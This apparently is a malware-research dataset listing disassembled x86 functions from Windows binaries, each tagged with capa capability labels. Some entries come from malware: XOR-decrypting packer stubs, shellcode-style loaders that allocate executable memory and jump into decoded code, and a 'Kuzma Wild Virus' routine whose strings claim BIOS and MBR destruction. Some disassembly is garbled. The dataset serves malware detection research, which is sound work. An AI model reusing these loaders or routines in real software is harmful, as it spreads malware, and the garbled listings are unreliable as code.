joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419f5c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ecx
push esi
push 0x434694
push dword [esp + 0x14]
push dword [0x440ed0]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x41a06f
push edi
push esi
push dword [0x440ed0]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x419fb0
push esi
push dword [0x440ed0]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x419fb0
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x419fb7
xor eax, eax
jmp 0x41a06e
push ebx
push ebp
push edi
xor ebp, ebp
push 2
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x41a068
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x41a061
push edi
push esi
push eax
call fcn.0041f610
add esp, 0xc
mov dword [esp + 0x10], ebp
lea eax, [esp + 0x10]
push eax
push ebp
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x41a05a
push ebp
push dword [esp + 0x14]
call fcn.00419ebb
mov ecx, dword [esp + 0x10]
mov edi, eax
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x433260]
call esi
test edi, edi
je 0x41a05a
mov eax, dword [edi + 8]
mov dword [edi + 8], ebp
test eax, eax
jne 0x41a048
push 0xffffff
lea eax, [esp + 0x18]
push eax
push dword [edi + 4]
call sub.gdiplus.dll_GdipCreateHBITMAPFromBitmap
test eax, eax
je 0x41a048
mov dword [edi + 8], eax
mov eax, dword [edi]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x433260]
mov ecx, edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [esp + 0x14]
pop ebp
pop ebx
pop edi
pop esi
pop ecx
pop ecx
ret 4

Function at 0x41a684
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0041e4a0
cmp word [0x44946a], 0
je 0x41a720
push esi
push 6
push dword [0x43e5f8]
mov esi, 0x44946a
push esi
call fcn.0040bda5
push eax
call fcn.004118fe
test eax, eax
jne 0x41a71f
push 0x448468
call fcn.0041a462
push 0x800
push esi
lea eax, [ebp - 0x1024]
push eax
call fcn.0040ff76
lea eax, [ebp - 0x1024]
push eax
call fcn.004236f3
xor ecx, ecx
push 0x1e
push ecx
mov word [ebp + eax*2 - reloc.mscms.dll_UninstallColorProfileA], cx
lea eax, [ebp - 0x20]
push eax
call fcn.0041f4b0
add esp, 0x10
mov dword [ebp - 0x1c], 3
push 0x14
pop eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x1024]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41a77c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
cmp dword [0x43e610], 0
push ebx
push esi
push edi
mov ebx, 0x400
jne 0x41a7c7
push 0x64
lea eax, [ebp - 0x12c]
push eax
push 0xf
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ax, word [ebp - reloc.mscms.dll_UninstallColorProfileA]
mov word [0x45eca8], ax
xor eax, eax
mov word [0x45ecaa], ax
mov dword [0x43e610], 0x45eca8
push 0x32
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040fe45
mov edi, dword [ebp + 0x10]
xor eax, eax
mov esi, dword [ebp + 0x14]
push esi
push edi
push 0x43e600
mov word [edi], ax
lea eax, [ebp - 0x64]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
xor eax, eax
mov word [edi + esi*2 - 2], ax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x41aa10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0041e4a0
cmp byte [0x44a470], 0
je 0x41aabe
push 0x800
lea eax, [ebp - 0x200c]
push eax
push dword [ebp + 8]
call fcn.0041bef0
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41aabe
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x1000
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x200c]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41aab5
mov eax, dword [ebp - 4]
mov ecx, 0x7ff
shr eax, 1
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x41aa99
mov eax, ecx
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - reloc.mscms.dll_UninstallColorProfileA], cx
lea eax, [ebp - 0x100c]
push eax
push dword [ebp + 8]
call fcn.0040ff76
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 8
Function at 0x404a4e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x404a5d
pop dword [ebp - 0x34]
mov eax, 0x404a5d
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3daf1
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x477f
xor ebx, ebx
add ebx, eax
mov esi, 0x3f6822d5
add esi, 0xc0db312b
add esi, dword [ebp - 0x34]
mov edx, 0xf06689fb
add edx, 0x332f7608
mov dword [ebp - 0x1c], 0x39af3be
mov edi, dword [esi]
add edi, edx
add dword [ebp - 0x14], edi
mov dword [ebx], edi
xor dword [ebp - 0x1c], 0xa7021afc
add ebx, 0x224c8af
sub ebx, 0x224c8ab
add esi, 0x460282b6
sub esi, 0x460282b2
loop 0x404aae
add eax, 0xcdabb465
sub eax, 0xcdaaa396
xor ebx, ebx
add ebx, eax
add eax, 0x534db5d3
sub eax, 0x534db5ce
mov ecx, 0xaaa529f8
add ecx, 0x559ad608
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x407875
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x40787f
repz ret
jmp fcn.0040bbd7
Function at 0x401460
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov dword [esp + 4], 0x40b064
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401670
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4014ef
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
jmp 0x401671
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1c], eax
je 0x401536
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
jmp 0x401671
mov dword [ebp - 0xc], 0
jmp 0x40160d
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov ecx, eax
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
add edx, eax
mov dword [esp + 8], ecx
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strncasecmp
test eax, eax
jne 0x401609
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._strlen
mov ebx, eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
cmp ebx, eax
jb 0x4015b8
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov ecx, eax
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
add edx, eax
mov dword [esp + 8], ecx
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._memcpy
jmp 0x401609
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov ecx, eax
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._strlen
mov ecx, eax
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
add edx, eax
mov dword [esp + 8], ecx
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._memcpy
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jb 0x401542
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
jmp 0x401671
nop
add esp, 0x34
pop ebx
pop ebp
ret
Function at 0x40182e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
call sym.___main
mov dword [esp + 0x23], 0x555c3a43
mov dword [esp + 0x27], 0x73726573
mov byte [esp + 0x2b], 0
mov dword [esp + 0x1c], 0x73737572
mov word [esp + 0x20], 0x6169
mov byte [esp + 0x22], 0
mov dword [esp + 0x14], 0x61726b75
mov dword [esp + 0x18], 0x656e69
mov dword [esp], str.FREE_THE_UKRAINIANS_VERSION_1.1.1.3.3.._nKILLED_CDROM_nKILLED_BIOS_nOVERRID_MBR.._nYA_GAT_FACKED_YA_RUSSIAN_BITCHASSHOE_
call sym._printf
mov dword [esp], str.Starting_installation..
call sym._puts
mov dword [esp], str.Installing..
call sym._puts
lea eax, [esp + 0x14]
mov dword [esp + 8], eax
lea eax, [esp + 0x1c]
mov dword [esp + 4], eax
lea eax, [esp + 0x23]
mov dword [esp], eax
call sym._processDirectory
mov dword [esp], str.Installed.
call sym._puts
call sym._FixBG
mov dword [esp], str._____________________
call sym._puts
mov dword [esp], str.Kuzma_Wild_Virus_v1.0_nGreat_Independent_Free_Ukraine_
call sym._puts
mov dword [esp], str.Press_any_key_to_continue...
call sym._puts
call sym._getchar
mov dword [esp + 0x2c], eax
mov eax, 0
leave
ret
Function at 0x401f40
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401f8b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401f84
test esi, esi
je 0x401f84
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f60
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402170
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4021c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402298
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4021fe
cmp eax, 4
jne 0x402220
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40220e
cmp edx, 4
je 0x40220e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402170
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x408e84
nop
mov ecx, 0x600548d2
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x114a1d25
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401750
Capabilities:
Terminate process

Disassembly:
pop edx
ljmp 0x981b
push ebp
mov ebp, esp
mov esp, 0xdaa083d
enter 0x40c0, 0
inc eax
add byte [eax - 0x7d], dl
rol dword [eax + 0x68], 0x6a
rol byte [eax], cl
push ecx
pop edx
dec ecx
jl 0x40172b
inc eax
pop eax
lea ebp, [eax - 0x3b7cffbf]
or al, 0x85
inc esi
cmpsb byte [esi], byte es:[edi]
invalid

Function at 0x40175a
Capabilities:
Terminate process

Disassembly:
inc eax
add byte [eax - 0x7d], dl
rol dword [eax + 0x68], 0x6a
rol byte [eax], cl

Function at 0x401e40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push esi
mov ebp, dword [edi + 0xc]
push esi
sub al, 0x45
mov byte [edx + 0x78], ch
push eax
push esi
call 0x40fce0
mov ecx, dword [ebp + 8]
pop esi
adc eax, sym.imp.MSVCRT.dll__iob
push eax
push ecx
sub al, dl
inc eax
push 0x401eac
push edx
call dword [sym.imp.MSVCRT.dll_fprintf]
mov eax, dword [0x41f1be]
add esp, 0x14
test eax, eax
je fcn.00401e8c
push eax
push 0x35d254
movsd dword es:[edi], dword [esi]
and byte [edx + ebx*4 + 0x40], ah
add byte [ebx - 0xa9f7fa], al
push esi
call dword [sym.imp.MSVCRT.dll_exit]
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x7a2e320f
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x65f04272
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..data
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x8b6e8f
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x42fd1311
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1966387d
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2f076cec
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x43ee7c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x43ee8b
pop dword [ebp - 0x14]
mov eax, 0x49d63c91
add eax, 0xb66db1fa
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x535b4
push 0
mov eax, 0x53044ecd
add eax, 0xad4063ef
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xa46a6181
add ecx, 0x5b95f40d
xor edi, edi
add edi, eax
mov ebx, 0x65733c00
add ebx, 0x9ad54200
add ebx, dword [ebp - 0x14]
mov edx, 0x670691d5
sub edx, 0xf3f5ee90
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0xe9787f04
sub esi, edx
mov dword [edi], esi
xor dword [ebp - 8], ecx
add edi, 4
add ebx, 0x62274f92
add ebx, 0x9dd8b072
loop 0x43eeec
add eax, 0x4f732f1f
sub eax, 0x4f71e614
mov ebx, eax
add eax, 5
mov ecx, 0x8ade2ab5
add ecx, 0x7561d54b
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x402f50
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
neg edi
sub esi, 0xff
dec edx
ror edi, 0x2f
mov ebx, 0xa8
rcl edi, 0xc5
bswap edx
bswap eax
bswap edi
inc edi
imul ebx
inc edi
rcl eax, 0x57
dec edx
rcr edi, 0xdb
or eax, 0xf9
add eax, 0x22
not edi
and edi, 0xfc
inc edx
not ebx
sub ebx, 0x82
neg edi
dec edi
rcl esi, 0xd8
or edx, 0xfe
neg esi
mov eax, 0xe0
not edx
rol edx, 0xa4
add esi, 0x95
and edi, 0xfa
rcr edi, 0xa1
bswap edx
neg edi
imul eax
or eax, 0x9e
not edi
or edx, 0x64
neg ebx
rol ebx, 0xd1
imul edx
add ebx, 0x2c
sub edx, 0xc2
rcr eax, 0xaa
mov edx, 0x2e
not ebx
rcl esi, 0x4e
add esi, 0x6b
inc edx
xor ecx, ecx
xor edi, edi
not edi
dec edi
or esi, 0x9c
sub edi, 0x1e
neg esi
dec ebx
add esi, 0xc9
bswap eax
and edi, 0x7e
rol eax, 0xad
neg eax
and edi, 0x33
mov eax, 0x85
inc edi
neg edx
bswap ebx
rol edi, 0x28
dec edi
rcl ebx, 0x24
or ebx, 0x2e
sub esi, 0xa4
bswap esi
bswap edi
neg esi
dec esi
ror edx, 0xb9
bswap edi
bswap eax
imul esi
or eax, 0x10
rol eax, 0xdd
dec edx
sub ebx, 0x18
and esi, 0xd4
dec ebx
bswap esi
imul edx
inc edi
inc esi
not edi
add ebx, 0x57
or esi, 0x80
rcl edi, 0x77
bswap edi
not ebx
and ebx, 0xe3
rcr edx, 0x77
not edi
rcr edx, 0x5a
neg eax
mov ecx, dword [ebp + 0xc]
neg esi
imul edi
inc eax
bswap eax
neg esi
or edx, 0x7f
mov edx, 0xec
sub edi, 5
rcl ebx, 0x7d
rcr edx, 0xc3
not ebx
rol edx, 0xc3
sub eax, 0x27
bswap edi
add eax, 0xe7
imul eax
inc ebx
dec edi
not eax
not edi
sub ebx, 0x7d
or eax, 0xe
not edx
rcr ebx, 0x54
rcl ebx, 0x7a
ror edi, 0xcb
sbb esi, 0x19
rcr eax, 0x63
not eax
dec esi
imul esi
ror esi, 0xcd
dec edi
add ebx, 0x7d
imul esi
rcl ebx, 0xb6
rol eax, 0xb3
bswap ebx
neg eax
and eax, 0xed
sub eax, 0x80
ror eax, 0xca
neg eax
rol esi, 0x41
bswap ebx
rcr edi, 4
add ebx, 0xf8
bswap esi
rcl ebx, 0xc7
rcl edi, 0x32
mov edi, dword [ebp + 8]
xor esi, esi
xor esi, esi
mov ebx, ebx
xor ebx, ebx
xor ebx, ebx
mov ebx, esi
mov esi, ebx
mov eax, ebx
mov eax, esi
mov ebx, ebx
mov eax, eax
mov eax, esi
not byte [edi]
xor esi, esi
mov ebx, ebx
xor esi, eax
mov ebx, eax
mov ebx, esi
xor esi, esi
xor eax, ebx
xor ebx, eax
xor esi, ebx
add byte [edi], 0x27
mov eax, ebx
xor eax, esi
mov esi, eax
mov eax, eax
xor eax, esi
xor eax, esi
mov esi, eax
